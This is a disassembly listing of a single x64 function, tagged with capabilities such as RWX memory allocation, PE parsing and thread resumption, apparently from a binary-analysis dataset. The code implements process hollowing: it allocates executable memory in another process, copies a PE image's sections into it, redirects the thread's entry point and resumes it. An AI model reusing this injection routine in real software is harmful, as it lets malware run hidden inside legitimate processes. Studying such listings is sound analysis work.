Function at 0x140107e70
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports
Resume thread

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0x100]
xor eax, eax
mov qword [rbp - 0x60], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x140107eb7
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x140107eba
xor r14d, r14d
call fcn.1400012dc
mov r15, rax
mov qword [rbp - 0x70], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx eax, byte [r15]
test eax, eax
je 0x140107ee2
mov edx, dword [rbx + 0x3c]
movsxd r12, edx
add r12, rdi
jmp 0x140107eeb
mov edx, dword [rbx + 0x3c]
movsxd r14, edx
add r14, rdi
test eax, eax
jne 0x140107ef4
mov eax, dword [r14]
jmp 0x140107ef8
mov eax, dword [r12]
cmp eax, 0x4550
jne 0x1401084ba
call fcn.140107e40
test eax, eax
jne 0x140107f13
mov ecx, 0x40
jmp 0x140107f18
mov ecx, 0x60
call fcn.140108550
mov rdi, rax
call fcn.140107e40
test eax, eax
jne 0x140107f30
mov ecx, 0x10
jmp 0x140107f35
mov ecx, 0x18
movsxd rcx, ecx
call fcn.1400e0f10
mov rbx, rax
mov qword [rbp - 0x40], rbx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x140226008]
xor r8d, r8d
xor r9d, r9d
call fcn.1401085b0
test eax, eax
je 0x140108268
test rdi, 0xffffffffffff0000
je 0x140107fb9
mov rcx, rdi
mov qword [rbp - 0x80], rcx
lea rcx, [rbp - 0xb0]
call fcn.1400033b0
mov rcx, qword [rbp - 0x80]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xb0]
call fcn.140003400
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x1401083f1
mov ecx, dword [r14 + 0x34]
mov edi, ecx
mov rcx, rbx
mov rdx, rdi
call fcn.1401089e0
mov r13, qword [rbx]
mov qword [rbp - 0x68], rbx
call fcn.140107e40
test eax, eax
jne 0x1401083fb
mov rcx, qword [rbp - 0x68]
mov edx, 4
movsxd rdx, edx
mov rax, qword [rcx + rdx]
mov qword [rbp - 0x48], rax
test r13, r13
je 0x1401083c1
test rax, rax
je 0x1401083c1
movzx ecx, byte [r15]
test ecx, ecx
jne 0x140108409
mov r8d, dword [r14 + 0x50]
test ecx, ecx
jne 0x140108413
mov r10d, dword [r14 + 0x54]
mov dword [rbp - 0x4c], r10d
test ecx, ecx
jne 0x14010841d
movzx edx, word [r14 + 6]
movzx r11d, dx
mov dword [rbp - 0x50], r11d
test ecx, ecx
jne 0x140108428
mov r9d, dword [r14 + 0x28]
mov dword [rbp - 0x54], r9d
mov dword [rsp + 0x20], 0x40
mov rcx, r13
mov qword [rbp - 0x80], rcx
mov rdx, rdi
mov qword [rbp - 0x88], rdx
mov dword [rbp - 0x74], r8d
mov r9d, 0x3000
mov dword [rbp - 0x78], r9d
lea rcx, [rbp - 0xb0]
call fcn.1400033b0
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x88]
mov r8d, dword [rbp - 0x74]
mov r9d, dword [rbp - 0x78]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xb0]
call fcn.140003400
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov rdi, qword [rbp + 0x10]
mov r8, qword [rdi + 0x10]
mov rcx, r13
mov rdx, rsi
mov r9d, dword [rbp - 0x4c]
call fcn.1401088a0
test eax, eax
je 0x140108391
mov r15, qword [rbp - 0x70]
cmp byte [r15], 0
jne 0x140108432
add r14, 0xf8
xor r12d, r12d
cmp dword [rbp - 0x50], 0
jle 0x140108138
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r8
mov r8, qword [rdi + 0x10]
mov edx, dword [r14 + 0x14]
add r8, rdx
mov edx, dword [r14 + 0xc]
add rdx, rsi
mov r9d, dword [r14 + 0x10]
mov rcx, r13
call fcn.1401088a0
test eax, eax
je 0x140108361
add r14, 0x28
inc r12d
mov ecx, dword [rbp - 0x50]
cmp r12d, ecx
mov dword [rbp - 0x50], ecx
jl 0x1401080f7
cmp byte [r15], 0
jne 0x14010843f
mov ecx, 0x2cc
movsxd rcx, ecx
call fcn.1400e0f10
mov rdi, rax
cmp byte [r15], 0
je 0x140108449
mov dword [rdi + 0x30], 0x10001b
cmp byte [r15], 0
jne 0x140108454
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.140108740
test eax, eax
je 0x140108331
mov r14d, dword [rdi + 0xa4]
mov r12, qword [rdi + 0x88]
mov rcx, rsi
call fcn.14008d670
mov rcx, r13
cmp byte [r15], 0
jne 0x14010846d
add r14d, 8
movsxd rdx, r14d
lea r9, [rbp - 0x60]
mov qword [rsp + 0x20], r9
mov r9d, dword [rax + 8]
mov r8, rax
call fcn.140108930
test eax, eax
je 0x1401082cb
cmp byte [r15], 0
je 0x140108477
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0x80], rcx
cmp byte [r15], 0
jne 0x14010848d
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.140108820
test eax, eax
je 0x140108298
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0x88], rcx
lea rcx, [rbp - 0xb0]
call fcn.1400033b0
mov rcx, qword [rbp - 0x88]
call sub.KERNEL32.dll_ResumeThread
lea rcx, [rbp - 0xb0]
call fcn.140003400
jmp 0x1401084a6
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x98]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x58]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x90]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x88]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x80]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x78]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x70]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x68]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rsi, rax
call fcn.140001be6
mov rdx, qword [rax + 0x60]
mov dword [rsi + 0x48], 0x80131500
lea rcx, [rsi + 8]
call fcn.140003250
mov rcx, rsi
call fcn.140003a20
mov rdi, qword [r12 + 0x30]
jmp 0x140107fcd
mov rcx, qword [rbp - 0x68]
mov edx, 8
jmp 0x140107ff5
mov r8d, dword [r12 + 0x50]
jmp 0x140108022
mov r10d, dword [r12 + 0x54]
jmp 0x14010802e
movzx edx, word [r12 + 6]
jmp 0x14010803f
mov r9d, dword [r12 + 0x28]
jmp 0x140108053
lea r14, [r12 + 0x108]
jmp 0x1401080ee
mov ecx, 0x4d0
jmp 0x140108147
mov dword [rdi], 0x10002
jmp 0x140108163
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401086b0
test eax, eax
je 0x1401082fe
jmp 0x140108181
lea rdx, [r12 + 0x10]
jmp 0x1401081ab
mov r14d, dword [rbp - 0x54]
mov ecx, r14d
add rcx, rsi
mov qword [rdi + 0xb0], rcx
jmp 0x1401081e3
mov rcx, qword [rbp - 0x48]
mov rdx, rdi
call fcn.1401087c0
test eax, eax
je 0x140108235
jmp 0x140108201
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [0x1401b3a18]
call fcn.140002f40
mov rbx, rax
call fcn.140001be6
mov rsi, qword [rax + 0x50]
mov rcx, rbx
call fcn.14008a900
lea rcx, [rbx + 8]
mov rdx, rsi
call fcn.140003250
mov rcx, rbx
call fcn.140003a20
int3